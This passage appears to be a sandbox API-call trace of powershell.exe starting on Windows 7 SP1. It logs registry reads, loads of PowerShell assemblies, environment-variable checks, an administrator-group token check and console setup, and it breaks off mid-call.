[0051.454] VerQueryValueW (in: pBlock=0x2bc5660, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x22dd78, puLen=0x22dd70 | out: lplpBuffer=0x22dd78*=0x0, puLen=0x22dd70) returned 0 [0051.454] VerQueryValueW (in: pBlock=0x2bc5660, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x22dd48, puLen=0x22dd40 | out: lplpBuffer=0x22dd48*=0x2bc56fc, puLen=0x22dd40) returned 1 [0051.454] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0051.454] VerLanguageNameW (in: wLang=0x0, szLang=0x124030, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0051.454] CoTaskMemFree (pv=0x124030) [0051.454] VerQueryValueW (in: pBlock=0x2bc5660, lpSubBlock="\\", lplpBuffer=0x22dd98, puLen=0x22dd90 | out: lplpBuffer=0x22dd98*=0x2bc5688, puLen=0x22dd90) returned 1 [0051.466] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0051.466] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.466] CoTaskMemFree (pv=0x168700) [0051.472] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0051.472] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.473] CoTaskMemFree (pv=0x168700) [0051.480] lstrlenW (lpString="䅁") returned 1 [0051.494] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22dc68 | out: phkResult=0x22dc68*=0x30c) returned 0x0 [0051.516] RegOpenKeyExW (in: hKey=0x30c, lpSubKey="1", ulOptions=0x0, samDesired=0x20019, phkResult=0x22dc58 | out: phkResult=0x22dc58*=0x310) returned 0x0 [0051.516] RegOpenKeyExW (in: hKey=0x310, lpSubKey="PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x22dce8 | out: phkResult=0x22dce8*=0x314) returned 0x0 [0051.520] RegQueryValueExW (in: hKey=0x314, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22dc2c, lpData=0x0, lpcbData=0x22dc28*=0x0 | out: lpType=0x22dc2c*=0x1, lpData=0x0, lpcbData=0x22dc28*=0x56) returned 0x0 [0051.521] CoTaskMemAlloc (cb=0x5a) returned 0xeb370 [0051.521] RegQueryValueExW (in: hKey=0x314, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22dbfc, lpData=0xeb370, lpcbData=0x22dbf8*=0x56 | out: lpType=0x22dbfc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x22dbf8*=0x56) returned 0x0 [0051.521] CoTaskMemFree (pv=0xeb370) [0051.529] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d780, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0051.532] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d780, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0051.542] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d780, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0051.566] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0051.566] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.566] CoTaskMemFree (pv=0x168700) [0051.811] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x22d820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0051.812] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x22d820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0051.914] CoTaskMemAlloc (cb=0x104) returned 0x168810 [0051.914] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168810, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.914] CoTaskMemFree (pv=0x168810) [0051.916] CoTaskMemAlloc (cb=0x104) returned 0x168810 [0051.916] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168810, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.916] CoTaskMemFree (pv=0x168810) [0051.950] CoTaskMemAlloc (cb=0x104) returned 0x168810 [0051.950] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168810, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.950] CoTaskMemFree (pv=0x168810) [0051.952] CoTaskMemAlloc (cb=0x104) returned 0x168810 [0051.952] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168810, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.952] CoTaskMemFree (pv=0x168810) [0051.952] CoTaskMemAlloc (cb=0x104) returned 0x168810 [0051.952] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168810, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.952] CoTaskMemFree (pv=0x168810) [0052.097] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x22d820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0052.097] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x22d820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0052.127] CoTaskMemAlloc (cb=0x104) returned 0x168810 [0052.128] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168810, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.128] CoTaskMemFree (pv=0x168810) [0052.132] CoTaskMemAlloc (cb=0x104) returned 0x168810 [0052.132] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168810, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.132] CoTaskMemFree (pv=0x168810) [0052.198] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.198] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.775] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x22d820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0052.775] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x22d820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0052.973] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0052.973] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.126] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x22d820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0053.126] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x22d820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0053.350] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x22d820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0053.350] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x22d820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0053.385] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0053.385] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0053.385] CoTaskMemFree (pv=0x168a30) [0053.386] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22da20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.387] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.387] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.390] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.433] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x22d940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0053.433] SetErrorMode (uMode=0x1) returned 0x1 [0053.433] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x22dbc0 | out: lpFileInformation=0x22dbc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0053.433] SetErrorMode (uMode=0x1) returned 0x1 [0053.688] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22da20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.688] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.689] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.691] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0053.691] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0053.691] CoTaskMemFree (pv=0x168a30) [0053.694] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0053.694] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0053.694] CoTaskMemFree (pv=0x168a30) [0053.694] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0053.694] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0053.694] CoTaskMemFree (pv=0x168a30) [0053.698] CoCreateGuid (in: pguid=0x22df88 | out: pguid=0x22df88*(Data1=0xc6d9b7f0, Data2=0x7868, Data3=0x4bc9, Data4=([0]=0x89, [1]=0x21, [2]=0x17, [3]=0xd, [4]=0x5f, [5]=0xa3, [6]=0x5c, [7]=0x2c))) returned 0x0 [0053.702] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0053.702] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0053.702] CoTaskMemFree (pv=0x168a30) [0053.705] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0053.705] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0053.705] CoTaskMemFree (pv=0x168a30) [0053.708] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0053.708] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0053.708] CoTaskMemFree (pv=0x168a30) [0053.716] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0053.717] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x22dc30 | out: lpConsoleScreenBufferInfo=0x22dc30) returned 1 [0053.723] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0053.728] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0x22dc30 | out: lpConsoleScreenBufferInfo=0x22dc30) returned 1 [0053.729] GetVersionExW (in: lpVersionInformation=0x22dbc0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x22dbc0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0053.733] GetCurrentProcess () returned 0xffffffffffffffff [0053.734] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x22dc58 | out: TokenHandle=0x22dc58*=0x328) returned 1 [0053.738] GetTokenInformation (in: TokenHandle=0x328, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x22db78 | out: TokenInformation=0x0, ReturnLength=0x22db78) returned 0 [0053.740] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0xe6e90 [0053.740] GetTokenInformation (in: TokenHandle=0x328, TokenInformationClass=0x8, TokenInformation=0xe6e90, TokenInformationLength=0x4, ReturnLength=0x22db78 | out: TokenInformation=0xe6e90, ReturnLength=0x22db78) returned 1 [0053.742] DuplicateTokenEx (in: hExistingToken=0x328, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x22dcd8 | out: phNewToken=0x22dcd8*=0x324) returned 1 [0053.742] GetTokenInformation (in: TokenHandle=0x328, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x22db78 | out: TokenInformation=0x0, ReturnLength=0x22db78) returned 0 [0053.742] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0xe6ec0 [0053.742] GetTokenInformation (in: TokenHandle=0x328, TokenInformationClass=0x8, TokenInformation=0xe6ec0, TokenInformationLength=0x4, ReturnLength=0x22db78 | out: TokenInformation=0xe6ec0, ReturnLength=0x22db78) returned 1 [0053.744] CheckTokenMembership (in: TokenHandle=0x324, SidToCheck=0x2ca0408*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x22dce8 | out: IsMember=0x22dce8) returned 1 [0053.744] CloseHandle (hObject=0x324) returned 1 [0053.744] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.744] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d690, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.745] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d690, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.745] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d690, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.786] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.786] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d690, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.787] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d690, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.790] CoTaskMemAlloc (cb=0x804) returned 0x1b77d1e0 [0053.790] GetConsoleTitleW (in: lpConsoleTitle=0x1b77d1e0, nSize=0x400 | out: lpConsoleTitle="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 0x39 [0053.791] CoTaskMemFree (pv=0x1b77d1e0) [0053.890] CoTaskMemAlloc (cb=0x804) returned 0x1b77da90 [0053.890] GetConsoleTitleW (in: lpConsoleTitle=0x1b77da90, nSize=0x400 | out: lpConsoleTitle="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 0x39 [0053.890] CoTaskMemFree (pv=0x1b77da90) [0053.891] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d720, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.891] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d670, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.891] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d670, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.893] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 1 [0053.899] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d7b0, lpFilePart=0x0 | out: 